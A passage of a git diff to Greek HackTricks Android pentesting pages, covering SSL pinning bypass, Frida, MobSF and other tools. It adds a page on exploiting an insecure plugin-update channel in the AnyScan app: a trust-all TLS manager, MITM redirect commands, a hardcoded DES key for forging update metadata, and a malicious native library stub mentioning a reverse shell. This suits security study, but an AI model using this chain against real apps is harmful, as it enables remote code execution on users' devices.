Θα επικεντρωθούμε στην **επαλήθευση πιστοποιητικού**. Η ακεραιότητα του πιστοποιητικού του διακομιστή πρέπει να επαληθεύεται για να ενισχυθεί η ασφάλεια. Αυτό είναι κρίσιμο γιατί οι ανασφαλείς ρυθμίσεις TLS και η μετάδοση ευαίσθητων δεδομένων μέσω μη κρυπτογραφημένων καναλιών μπορεί να θέσουν σε σημαντικό κίνδυνο. Για λεπτομερείς οδηγίες σχετικά με την επαλήθευση πιστοποιητικών διακομιστή και την αντιμετώπιση ευπαθειών, [**αυτή η πηγή**](https://manifestsecurity.com/android-application-security-part-10/) παρέχει εκτενή καθοδήγηση.
 | 
			
		||||
 | 
			
		||||
#### SSL Pinning
 | 
			
		||||
 | 
			
		||||
@ -406,13 +407,13 @@ _Σημειώστε ότι μπορείτε να **παραλείψετε το 
 | 
			
		||||
 | 
			
		||||
Για να επιθεωρήσετε την κίνηση HTTP, είναι απαραίτητο να **εγκαταστήσετε το πιστοποιητικό του εργαλείου proxy** (π.χ., Burp). Χωρίς την εγκατάσταση αυτού του πιστοποιητικού, η κρυπτογραφημένη κίνηση μπορεί να μην είναι ορατή μέσω του proxy. Για οδηγίες σχετικά με την εγκατάσταση ενός προσαρμοσμένου πιστοποιητικού CA, [**κάντε κλικ εδώ**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
 | 
			
		||||
 | 
			
		||||
Οι εφαρμογές που στοχεύουν **API Level 24 και άνω** απαιτούν τροποποιήσεις στη Ρύθμιση Ασφαλείας Δικτύου για να αποδεχτούν το πιστοποιητικό CA του proxy. Αυτό το βήμα είναι κρίσιμο για την επιθεώρηση κρυπτογραφημένης κίνησης. Για οδηγίες σχετικά με την τροποποίηση της Ρύθμισης Ασφαλείας Δικτύου, [**ανατρέξτε σε αυτό το σεμινάριο**](make-apk-accept-ca-certificate.md).
 | 
			
		||||
Οι εφαρμογές που στοχεύουν **API Level 24 και άνω** απαιτούν τροποποιήσεις στη Ρύθμιση Ασφαλείας Δικτύου για να αποδεχτούν το πιστοποιητικό CA του proxy. Αυτό το βήμα είναι κρίσιμο για την επιθεώρηση κρυπτογραφημένης κίνησης. Για οδηγίες σχετικά με την τροποποίηση της Ρύθμισης Ασφαλείας Δικτύου, [**ανατρέξτε σε αυτό το tutorial**](make-apk-accept-ca-certificate.md).
 | 
			
		||||
 | 
			
		||||
Αν χρησιμοποιείται **Flutter** πρέπει να ακολουθήσετε τις οδηγίες σε [**αυτή τη σελίδα**](flutter.md). Αυτό συμβαίνει γιατί, απλά προσθέτοντας το πιστοποιητικό στο κατάστημα δεν θα λειτουργήσει καθώς το Flutter έχει τη δική του λίστα έγκυρων CA.
 | 
			
		||||
 | 
			
		||||
#### Παράκαμψη SSL Pinning
 | 
			
		||||
 | 
			
		||||
Όταν έχει εφαρμοστεί το SSL Pinning, η παράκαμψή του γίνεται απαραίτητη για την επιθεώρηση της κίνησης HTTPS. Διατίθενται διάφορες μέθοδοι για αυτό το σκοπό:
 | 
			
		||||
Όταν έχει εφαρμοστεί το SSL Pinning, η παράκαμψή του γίνεται απαραίτητη για την επιθεώρηση της κίνησης HTTPS. Διατίθενται διάφορες μέθοδοι για αυτόν τον σκοπό:
 | 
			
		||||
 | 
			
		||||
- Αυτόματα **τροποποιήστε** το **apk** για να **παρακάμψετε** το SSLPinning με [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Το καλύτερο πλεονέκτημα αυτής της επιλογής είναι ότι δεν θα χρειαστείτε root για να παρακάμψετε το SSL Pinning, αλλά θα χρειαστεί να διαγράψετε την εφαρμογή και να εγκαταστήσετε τη νέα, και αυτό δεν θα λειτουργήσει πάντα.
 | 
			
		||||
- Μπορείτε να χρησιμοποιήσετε **Frida** (που συζητείται παρακάτω) για να παρακάμψετε αυτή την προστασία. Εδώ έχετε έναν οδηγό για τη χρήση Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
 | 
			
		||||
@ -432,9 +433,9 @@ _Σημειώστε ότι μπορείτε να **παραλείψετε το 
 | 
			
		||||
 | 
			
		||||
- Μάθετε πώς να χρησιμοποιείτε το Frida: [**Frida tutorial**](frida-tutorial/index.html)
 | 
			
		||||
- Μερικά "GUI" για ενέργειες με το Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
 | 
			
		||||
- Το Ojection είναι εξαιρετικό για την αυτοματοποίηση της χρήσης του Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
 | 
			
		||||
- Ojection είναι εξαιρετικό για την αυτοματοποίηση της χρήσης του Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
 | 
			
		||||
- Μπορείτε να βρείτε μερικά καταπληκτικά σενάρια Frida εδώ: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
 | 
			
		||||
- Προσπαθήστε να παρακάμψετε μηχανισμούς anti-debugging / anti-frida φορτώνοντας το Frida όπως υποδεικνύεται σε [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (εργαλείο [linjector](https://github.com/erfur/linjector-rs))
 | 
			
		||||
- Προσπαθήστε να παρακάμψετε μηχανισμούς anti-debugging / anti-frida φορτώνοντας το Frida όπως αναφέρεται σε [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (εργαλείο [linjector](https://github.com/erfur/linjector-rs))
 | 
			
		||||
 | 
			
		||||
### **Dump Memory - Fridump**
 | 
			
		||||
 | 
			
		||||
@ -455,7 +456,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
 | 
			
		||||
```
 | 
			
		||||
### **Ευαίσθητα δεδομένα στο Keystore**
 | 
			
		||||
 | 
			
		||||
Στο Android, το Keystore είναι το καλύτερο μέρος για να αποθηκεύσετε ευαίσθητα δεδομένα, ωστόσο, με αρκετά δικαιώματα είναι ακόμα **δυνατό να αποκτηθεί πρόσβαση σε αυτό**. Καθώς οι εφαρμογές τείνουν να αποθηκεύουν εδώ **ευαίσθητα δεδομένα σε καθαρό κείμενο**, οι pentests θα πρέπει να ελέγχουν για αυτό ως χρήστης root ή κάποιος με φυσική πρόσβαση στη συσκευή θα μπορούσε να είναι σε θέση να κλέψει αυτά τα δεδομένα.
 | 
			
		||||
Στο Android, το Keystore είναι το καλύτερο μέρος για να αποθηκεύσετε ευαίσθητα δεδομένα, ωστόσο, με αρκετά δικαιώματα είναι ακόμα **δυνατό να αποκτήσετε πρόσβαση σε αυτό**. Καθώς οι εφαρμογές τείνουν να αποθηκεύουν εδώ **ευαίσθητα δεδομένα σε καθαρό κείμενο**, οι pentests θα πρέπει να ελέγχουν γι' αυτό ως χρήστες root ή κάποιοι με φυσική πρόσβαση στη συσκευή θα μπορούσαν να είναι σε θέση να κλέψουν αυτά τα δεδομένα.
 | 
			
		||||
 | 
			
		||||
Ακόμα και αν μια εφαρμογή αποθηκεύει δεδομένα στο keystore, τα δεδομένα θα πρέπει να είναι κρυπτογραφημένα.
 | 
			
		||||
 | 
			
		||||
@ -463,7 +464,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
 | 
			
		||||
```bash
 | 
			
		||||
frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
 | 
			
		||||
```
 | 
			
		||||
### **Παράκαμψη Δακτυλικών Αποτυπωμάτων/Βιομετρικών**
 | 
			
		||||
### **Αναγνώριση Δακτυλικών Αποτυπωμάτων/Βιομετρική Παράκαμψη**
 | 
			
		||||
 | 
			
		||||
Χρησιμοποιώντας το παρακάτω σενάριο Frida, θα μπορούσε να είναι δυνατό να **παρακαμφθεί η αυθεντικοποίηση δακτυλικών αποτυπωμάτων** που ενδέχεται να εκτελούν οι εφαρμογές Android προκειμένου να **προστατεύσουν ορισμένες ευαίσθητες περιοχές:**
 | 
			
		||||
```bash
 | 
			
		||||
@ -523,46 +524,46 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
 | 
			
		||||
docker pull opensecurity/mobile-security-framework-mobsf
 | 
			
		||||
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
 | 
			
		||||
```
 | 
			
		||||
Παρατηρήστε ότι το MobSF μπορεί να αναλύσει **Android**(apk)**, IOS**(ipa) **και Windows**(apx) εφαρμογές (_Οι εφαρμογές Windows πρέπει να αναλύονται από ένα MobSF εγκατεστημένο σε έναν υπολογιστή Windows_).\
 | 
			
		||||
Επίσης, αν δημιουργήσετε ένα **ZIP** αρχείο με τον πηγαίο κώδικα μιας **Android** ή **IOS** εφαρμογής (πηγαίνετε στον ριζικό φάκελο της εφαρμογής, επιλέξτε τα πάντα και δημιουργήστε ένα ZIP αρχείο), θα μπορέσει να το αναλύσει επίσης.
 | 
			
		||||
Notice that MobSF can analyse **Android**(apk)**, IOS**(ipa) **and Windows**(apx) applications (_Windows applications must be analyzed from a MobSF installed in a Windows host_).\
 | 
			
		||||
Also, if you create a **ZIP** file with the source code if an **Android** or an **IOS** app (go to the root folder of the application, select everything and create a ZIPfile), it will be able to analyse it also.
 | 
			
		||||
 | 
			
		||||
Το MobSF επιτρέπει επίσης την **diff/Compare** ανάλυση και την ενσωμάτωση του **VirusTotal** (θα χρειαστεί να ρυθμίσετε το API key σας στο _MobSF/settings.py_ και να το ενεργοποιήσετε: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). Μπορείτε επίσης να ρυθμίσετε το `VT_UPLOAD` σε `False`, τότε το **hash** θα **ανεβεί** αντί για το αρχείο.
 | 
			
		||||
MobSF also allows you to **diff/Compare** analysis and to integrate **VirusTotal** (you will need to set your API key in _MobSF/settings.py_ and enable it: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). You can also set `VT_UPLOAD` to `False`, then the **hash** will be **upload** instead of the file.
 | 
			
		||||
 | 
			
		||||
### Βοηθητική Δυναμική ανάλυση με το MobSF
 | 
			
		||||
### Assisted Dynamic analysis with MobSF
 | 
			
		||||
 | 
			
		||||
**MobSF** μπορεί επίσης να είναι πολύ χρήσιμο για **δυναμική ανάλυση** σε **Android**, αλλά σε αυτή την περίπτωση θα χρειαστεί να εγκαταστήσετε το MobSF και το **genymotion** στον υπολογιστή σας (μια VM ή Docker δεν θα λειτουργήσει). _Σημείωση: Πρέπει να **ξεκινήσετε πρώτα μια VM στο genymotion** και **μετά το MobSF.**_\
 | 
			
		||||
Ο **δυναμικός αναλυτής MobSF** μπορεί να:
 | 
			
		||||
**MobSF** can also be very helpful for **dynamic analysis** in **Android**, but in that case you will need to install MobSF and **genymotion** in your host (a VM or Docker won't work). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\
 | 
			
		||||
The **MobSF dynamic analyser** can:
 | 
			
		||||
 | 
			
		||||
- **Dump application data** (URLs, logs, clipboard, screenshots που κάνατε εσείς, screenshots που έγιναν από τον "**Exported Activity Tester**", emails, SQLite βάσεις δεδομένων, XML αρχεία και άλλα δημιουργημένα αρχεία). Όλα αυτά γίνονται αυτόματα εκτός από τα screenshots, πρέπει να πατήσετε όταν θέλετε ένα screenshot ή πρέπει να πατήσετε "**Exported Activity Tester**" για να αποκτήσετε screenshots όλων των εξαγόμενων δραστηριοτήτων.
 | 
			
		||||
- **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files). All of this is done automatically except for the screenshots, you need to press when you want a screenshot or you need to press "**Exported Activity Tester**" to obtain screenshots of all the exported activities.
 | 
			
		||||
- Capture **HTTPS traffic**
 | 
			
		||||
- Use **Frida** to obtain **runtime** **information**
 | 
			
		||||
 | 
			
		||||
Από τις εκδόσεις Android **> 5**, θα **ξεκινήσει αυτόματα το Frida** και θα ρυθμίσει τις παγκόσμιες ρυθμίσεις **proxy** για να **καταγράψει** την κίνηση. Θα καταγράψει μόνο την κίνηση από την εφαρμογή που δοκιμάζεται.
 | 
			
		||||
From android **versions > 5**, it will **automatically start Frida** and will set global **proxy** settings to **capture** traffic. It will only capture traffic from the tested application.
 | 
			
		||||
 | 
			
		||||
**Frida**
 | 
			
		||||
 | 
			
		||||
Από προεπιλογή, θα χρησιμοποιήσει επίσης κάποια Frida Scripts για να **παρακάμψει το SSL pinning**, **ανίχνευση root** και **ανίχνευση debugger** και για να **παρακολουθήσει ενδιαφέροντα APIs**.\
 | 
			
		||||
Το MobSF μπορεί επίσης να **καλέσει εξαγόμενες δραστηριότητες**, να τραβήξει **screenshots** από αυτές και να τις **αποθηκεύσει** για την αναφορά.
 | 
			
		||||
By default, it will also use some Frida Scripts to **bypass SSL pinning**, **root detection** and **debugger detection** and to **monitor interesting APIs**.\
 | 
			
		||||
MobSF can also **invoke exported activities**, grab **screenshots** of them and **save** them for the report.
 | 
			
		||||
 | 
			
		||||
Για να **ξεκινήσετε** τη δυναμική δοκιμή πατήστε το πράσινο κουμπί: "**Start Instrumentation**". Πατήστε το "**Frida Live Logs**" για να δείτε τα logs που δημιουργούνται από τα Frida scripts και "**Live API Monitor**" για να δείτε όλες τις κλήσεις σε συνδεδεμένες μεθόδους, τα ορίσματα που περνιούνται και τις επιστρεφόμενες τιμές (αυτό θα εμφανιστεί μετά την πίεση του "Start Instrumentation").\
 | 
			
		||||
Το MobSF επιτρέπει επίσης να φορτώσετε τα δικά σας **Frida scripts** (για να στείλετε τα αποτελέσματα των scripts σας στο MobSF χρησιμοποιήστε τη λειτουργία `send()`). Έχει επίσης **πολλά προ-γραμμένα scripts** που μπορείτε να φορτώσετε (μπορείτε να προσθέσετε περισσότερα στο `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), απλά **επιλέξτε τα**, πατήστε "**Load**" και πατήστε "**Start Instrumentation**" (θα μπορείτε να δείτε τα logs αυτών των scripts μέσα στο "**Frida Live Logs**").
 | 
			
		||||
To **start** the dynamic testing press the green bottom: "**Start Instrumentation**". Press the "**Frida Live Logs**" to see the logs generated by the Frida scripts and "**Live API Monitor**" to see all the invocation to hooked methods, arguments passed and returned values (this will appear after pressing "Start Instrumentation").\
 | 
			
		||||
MobSF also allows you to load your own **Frida scripts** (to send the results of your Friday scripts to MobSF use the function `send()`). It also has **several pre-written scripts** you can load (you can add more in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), just **select them**, press "**Load**" and press "**Start Instrumentation**" (you will be able to see the logs of that scripts inside "**Frida Live Logs**").
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
Επιπλέον, έχετε κάποιες βοηθητικές λειτουργίες Frida:
 | 
			
		||||
Moreover, you have some Auxiliary Frida functionalities:
 | 
			
		||||
 | 
			
		||||
- **Enumerate Loaded Classes**: Θα εκτυπώσει όλες τις φορτωμένες κλάσεις
 | 
			
		||||
- **Capture Strings**: Θα εκτυπώσει όλες τις καταγεγραμμένες συμβολοσειρές κατά τη χρήση της εφαρμογής (πολύ θορυβώδες)
 | 
			
		||||
- **Capture String Comparisons**: Μπορεί να είναι πολύ χρήσιμο. Θα **δείξει τις 2 συμβολοσειρές που συγκρίνονται** και αν το αποτέλεσμα ήταν True ή False.
 | 
			
		||||
- **Enumerate Class Methods**: Βάλτε το όνομα της κλάσης (όπως "java.io.File") και θα εκτυπώσει όλες τις μεθόδους της κλάσης.
 | 
			
		||||
- **Search Class Pattern**: Αναζητήστε κλάσεις κατά μοτίβο
 | 
			
		||||
- **Trace Class Methods**: **Trace** μια **ολόκληρη κλάση** (δείτε τις εισόδους και εξόδους όλων των μεθόδων της κλάσης). Θυμηθείτε ότι από προεπιλογή το MobSF παρακολουθεί πολλές ενδιαφέρουσες μεθόδους Android Api.
 | 
			
		||||
- **Enumerate Loaded Classes**: It will print all the loaded classes
 | 
			
		||||
- **Capture Strings**: It will print all the capture strings while using the application (super noisy)
 | 
			
		||||
- **Capture String Comparisons**: Could be very useful. It will **show the 2 strings being compared** and if the result was True or False.
 | 
			
		||||
- **Enumerate Class Methods**: Put the class name (like "java.io.File") and it will print all the methods of the class.
 | 
			
		||||
- **Search Class Pattern**: Search classes by pattern
 | 
			
		||||
- **Trace Class Methods**: **Trace** a **whole class** (see inputs and outputs of all methods of th class). Remember that by default MobSF traces several interesting Android Api methods.
 | 
			
		||||
 | 
			
		||||
Αφού επιλέξετε το βοηθητικό module που θέλετε να χρησιμοποιήσετε, πρέπει να πατήσετε "**Start Intrumentation**" και θα δείτε όλες τις εξόδους στο "**Frida Live Logs**".
 | 
			
		||||
Once you have selected the auxiliary module you want to use you need to press "**Start Intrumentation**" and you will see all the outputs in "**Frida Live Logs**".
 | 
			
		||||
 | 
			
		||||
**Shell**
 | 
			
		||||
 | 
			
		||||
Το MobSF σας παρέχει επίσης ένα shell με κάποιες **adb** εντολές, **MobSF commands**, και κοινές **shell** **εντολές** στο κάτω μέρος της σελίδας δυναμικής ανάλυσης. Ορισμένες ενδιαφέρουσες εντολές:
 | 
			
		||||
Mobsf also brings you a shell with some **adb** commands, **MobSF commands**, and common **shell** **commands** at the bottom of the dynamic analysis page. Some interesting commands:
 | 
			
		||||
```bash
 | 
			
		||||
help
 | 
			
		||||
shell ls
 | 
			
		||||
@ -598,7 +599,7 @@ receivers
 | 
			
		||||
 | 
			
		||||
### [Qark](https://github.com/linkedin/qark)
 | 
			
		||||
 | 
			
		||||
Αυτό το εργαλείο έχει σχεδιαστεί για να αναζητά πολλές **ευπάθειες σχετικές με την ασφάλεια εφαρμογών Android**, είτε στον **κώδικα πηγής** είτε σε **πακεταρισμένα APKs**. Το εργαλείο είναι επίσης **ικανό να δημιουργεί ένα "Proof-of-Concept" deployable APK** και **ADB εντολές**, για να εκμεταλλευτεί κάποιες από τις ευπάθειες που βρέθηκαν (Εκτεθειμένες δραστηριότητες, intents, tapjacking...). Όπως και με το Drozer, δεν υπάρχει ανάγκη να ριζώσετε τη συσκευή δοκιμής.
 | 
			
		||||
Αυτό το εργαλείο έχει σχεδιαστεί για να αναζητά αρκετές **ευπάθειες σχετικές με την ασφάλεια εφαρμογών Android**, είτε στον **κώδικα πηγής** είτε σε **πακεταρισμένα APKs**. Το εργαλείο είναι επίσης **ικανό να δημιουργεί ένα "Proof-of-Concept" deployable APK** και **εντολές ADB**, για να εκμεταλλευτεί κάποιες από τις ευπάθειες που βρέθηκαν (Εκτεθειμένες δραστηριότητες, intents, tapjacking...). Όπως και με το Drozer, δεν χρειάζεται να κάνετε root τη συσκευή δοκιμής.
 | 
			
		||||
```bash
 | 
			
		||||
pip3 install --user qark  # --user is only needed if not using a virtualenv
 | 
			
		||||
qark --apk path/to/my.apk
 | 
			
		||||
@ -618,7 +619,7 @@ reverse-apk relative/path/to/APP.apk
 | 
			
		||||
```
 | 
			
		||||
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
 | 
			
		||||
 | 
			
		||||
Το SUPER είναι μια εφαρμογή γραμμής εντολών που μπορεί να χρησιμοποιηθεί σε Windows, MacOS X και Linux, η οποία αναλύει αρχεία _.apk_ αναζητώντας ευπάθειες. Το κάνει αυτό αποσυμπιέζοντας τα APK και εφαρμόζοντας μια σειρά κανόνων για να ανιχνεύσει αυτές τις ευπάθειες.
 | 
			
		||||
SUPER είναι μια εφαρμογή γραμμής εντολών που μπορεί να χρησιμοποιηθεί σε Windows, MacOS X και Linux, η οποία αναλύει _.apk_ αρχεία αναζητώντας ευπάθειες. Το κάνει αυτό αποσυμπιέζοντας τα APK και εφαρμόζοντας μια σειρά κανόνων για να ανιχνεύσει αυτές τις ευπάθειες.
 | 
			
		||||
 | 
			
		||||
Όλοι οι κανόνες είναι κεντραρισμένοι σε ένα αρχείο `rules.json`, και κάθε εταιρεία ή δοκιμαστής μπορεί να δημιουργήσει τους δικούς της κανόνες για να αναλύσει ό,τι χρειάζεται.
 | 
			
		||||
 | 
			
		||||
@ -691,11 +692,11 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
 | 
			
		||||
 | 
			
		||||
(Από αυτόν τον οδηγό) Την τελευταία φορά που ελέγξαμε, η λειτουργία του Dexguard ήταν:
 | 
			
		||||
 | 
			
		||||
- φορτώστε έναν πόρο ως InputStream;
 | 
			
		||||
- φορτώστε μια πηγή ως InputStream;
 | 
			
		||||
- τροφοδοτήστε το αποτέλεσμα σε μια κλάση που κληρονομεί από το FilterInputStream για να το αποκρυπτογραφήσετε;
 | 
			
		||||
- κάντε κάποια άχρηστη απόκρυψη για να σπαταλήσετε λίγα λεπτά χρόνου από έναν αναλυτή;
 | 
			
		||||
- κάντε κάποια άχρηστη απόκρυψη για να σπαταλήσετε μερικά λεπτά χρόνου από έναν αναλυτή;
 | 
			
		||||
- τροφοδοτήστε το αποκρυπτογραφημένο αποτέλεσμα σε ένα ZipInputStream για να αποκτήσετε ένα αρχείο DEX;
 | 
			
		||||
- τελικά φορτώστε το προκύπτον DEX ως Πόρο χρησιμοποιώντας τη μέθοδο `loadDex`.
 | 
			
		||||
- τελικά φορτώστε το προκύπτον DEX ως Πηγή χρησιμοποιώντας τη μέθοδο `loadDex`.
 | 
			
		||||
 | 
			
		||||
### [DeGuard](http://apk-deguard.com)
 | 
			
		||||
 | 
			
		||||
@ -709,11 +710,11 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
 | 
			
		||||
 | 
			
		||||
### [Simplify](https://github.com/CalebFenton/simplify)
 | 
			
		||||
 | 
			
		||||
Είναι ένα **γενικό αποκρυπτογραφητή android.** Το Simplify **εκτελεί εικονικά μια εφαρμογή** για να κατανοήσει τη συμπεριφορά της και στη συνέχεια **προσπαθεί να βελτιστοποιήσει τον κώδικα** ώστε να συμπεριφέρεται ταυτόχρονα αλλά να είναι πιο εύκολο για έναν άνθρωπο να κατανοήσει. Κάθε τύπος βελτιστοποίησης είναι απλός και γενικός, οπότε δεν έχει σημασία ποιος είναι ο συγκεκριμένος τύπος απόκρυψης που χρησιμοποιείται.
 | 
			
		||||
Είναι ένα **γενικό αποκρυπτογραφητή android.** Το Simplify **εκτελεί εικονικά μια εφαρμογή** για να κατανοήσει τη συμπεριφορά της και στη συνέχεια **προσπαθεί να βελτιστοποιήσει τον κώδικα** έτσι ώστε να συμπεριφέρεται ταυτόχρονα αλλά να είναι πιο εύκολο για έναν άνθρωπο να κατανοήσει. Κάθε τύπος βελτιστοποίησης είναι απλός και γενικός, οπότε δεν έχει σημασία ποιος είναι ο συγκεκριμένος τύπος απόκρυψης που χρησιμοποιείται.
 | 
			
		||||
 | 
			
		||||
### [APKiD](https://github.com/rednaga/APKiD)
 | 
			
		||||
 | 
			
		||||
Το APKiD σας δίνει πληροφορίες για **πώς δημιουργήθηκε ένα APK**. Αναγνωρίζει πολλούς **μεταγλωττιστές**, **πακεταριστές**, **αποκρυπτογραφητές** και άλλα περίεργα πράγματα. Είναι το [_PEiD_](https://www.aldeid.com/wiki/PEiD) για το Android.
 | 
			
		||||
Το APKiD σας δίνει πληροφορίες για **πώς δημιουργήθηκε ένα APK**. Αναγνωρίζει πολλούς **μεταγλωττιστές**, **πακετάρισμα**, **απόκρυψη** και άλλα περίεργα πράγματα. Είναι το [_PEiD_](https://www.aldeid.com/wiki/PEiD) για το Android.
 | 
			
		||||
 | 
			
		||||
### Manual
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
@ -0,0 +1,124 @@
 | 
			
		||||
# Ανασφαλείς Μηχανισμοί Ενημέρωσης Εφαρμογών – Εκτέλεση Κώδικα από Απόσταση μέσω Κακόβουλων Πρόσθετων
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
Πολλές εφαρμογές Android υλοποιούν τα **δικά τους κανάλια ενημέρωσης “plugin” ή “dynamic feature”** αντί να χρησιμοποιούν το Google Play Store. Όταν η υλοποίηση είναι ανασφαλής, ένας επιτιθέμενος που μπορεί να παρεμποδίσει την κίνηση μπορεί να προμηθεύσει **τυχαίο εγγενή κώδικα που θα φορτωθεί μέσα στη διαδικασία της εφαρμογής**, οδηγώντας σε πλήρη Εκτέλεση Κώδικα από Απόσταση (RCE) στη συσκευή – και σε ορισμένες περιπτώσεις σε οποιαδήποτε εξωτερική συσκευή που ελέγχεται από την εφαρμογή (αυτοκίνητα, IoT, ιατρικές συσκευές …).
 | 
			
		||||
 | 
			
		||||
Αυτή η σελίδα συνοψίζει μια αλυσίδα ευπάθειας από τον πραγματικό κόσμο που βρέθηκε στην εφαρμογή διαγνωστικών αυτοκινήτων Xtool **AnyScan** (v4.40.11 → 4.40.40) και γενικεύει την τεχνική ώστε να μπορείτε να ελέγξετε άλλες εφαρμογές Android και να εκμεταλλευτείτε τη λανθασμένη ρύθμιση κατά τη διάρκεια μιας εμπλοκής red-team.
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
## 1. Αναγνώριση Ανασφαλούς TLS TrustManager
 | 
			
		||||
 | 
			
		||||
1. Αποσυμπιέστε το APK με το jadx / apktool και εντοπίστε το δίκτυο (OkHttp, HttpUrlConnection, Retrofit…).
 | 
			
		||||
2. Αναζητήστε έναν **προσαρμοσμένο `TrustManager`** ή `HostnameVerifier` που εμπιστεύεται τυφλά κάθε πιστοποιητικό:
 | 
			
		||||
```java
 | 
			
		||||
public static TrustManager[] buildTrustManagers() {
 | 
			
		||||
return new TrustManager[]{
 | 
			
		||||
new X509TrustManager() {
 | 
			
		||||
public void checkClientTrusted(X509Certificate[] chain, String authType) {}
 | 
			
		||||
public void checkServerTrusted(X509Certificate[] chain, String authType) {}
 | 
			
		||||
public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
 | 
			
		||||
}
 | 
			
		||||
};
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
3. Αν υπάρχει, η εφαρμογή θα αποδεχτεί **οποιοδήποτε πιστοποιητικό TLS** → μπορείτε να εκτελέσετε έναν διαφανή **MITM proxy** με ένα αυτο-υπογεγραμμένο πιστοποιητικό:
 | 
			
		||||
```bash
 | 
			
		||||
mitmproxy -p 8080 -s addon.py  # see §4
 | 
			
		||||
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080  # on rooted device / emulator
 | 
			
		||||
```
 | 
			
		||||
## 2. Αντίστροφη Μηχανική των Μεταδεδομένων Ενημέρωσης
 | 
			
		||||
 | 
			
		||||
Στην περίπτωση του AnyScan, κάθε εκκίνηση της εφαρμογής ενεργοποιεί ένα HTTPS GET προς:
 | 
			
		||||
```
 | 
			
		||||
https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx
 | 
			
		||||
```
 | 
			
		||||
Το σώμα της απάντησης είναι ένα **XML έγγραφο** των οποίων οι κόμβοι `<FileData>` περιέχουν **Base64-κωδικοποιημένα, κρυπτογραφημένα με DES-ECB** JSON που περιγράφει κάθε διαθέσιμο plugin.
 | 
			
		||||
 | 
			
		||||
Τυπικά βήματα αναζήτησης:
 | 
			
		||||
1. Εντοπίστε τη ρουτίνα κρυπτογράφησης (π.χ. `RemoteServiceProxy`) και ανακτήστε:
 | 
			
		||||
* αλγόριθμο (DES / AES / RC4 …)
 | 
			
		||||
* τρόπο λειτουργίας (ECB / CBC / GCM …)
 | 
			
		||||
* σκληρά κωδικοποιημένο κλειδί / IV (συνήθως 56-bit DES κλειδιά ή 128-bit AES κλειδιά σε σταθερές)
 | 
			
		||||
2. Επαναφέρετε τη λειτουργία σε Python για να αποκρυπτογραφήσετε / κρυπτογραφήσετε τα μεταδεδομένα:
 | 
			
		||||
```python
 | 
			
		||||
from Crypto.Cipher import DES
 | 
			
		||||
from base64 import b64decode, b64encode
 | 
			
		||||
 | 
			
		||||
KEY = IV = b"\x2A\x10\x2A\x10\x2A\x10\x2A"  # 56-bit key observed in AnyScan
 | 
			
		||||
 | 
			
		||||
def decrypt_metadata(data_b64: str) -> bytes:
 | 
			
		||||
cipher = DES.new(KEY, DES.MODE_ECB)
 | 
			
		||||
return cipher.decrypt(b64decode(data_b64))
 | 
			
		||||
 | 
			
		||||
def encrypt_metadata(plaintext: bytes) -> str:
 | 
			
		||||
cipher = DES.new(KEY, DES.MODE_ECB)
 | 
			
		||||
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()
 | 
			
		||||
```
 | 
			
		||||
## 3. Δημιουργία Κακόβουλου Πρόσθετου
 | 
			
		||||
 | 
			
		||||
1. Επιλέξτε οποιοδήποτε νόμιμο ZIP πρόσθετο και αντικαταστήστε τη native βιβλιοθήκη με το payload σας:
 | 
			
		||||
```c
 | 
			
		||||
// libscan_x64.so – constructor runs as soon as the library is loaded
 | 
			
		||||
__attribute__((constructor))
 | 
			
		||||
void init(void){
 | 
			
		||||
__android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid());
 | 
			
		||||
// spawn reverse shell, drop file, etc.
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
```bash
 | 
			
		||||
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
 | 
			
		||||
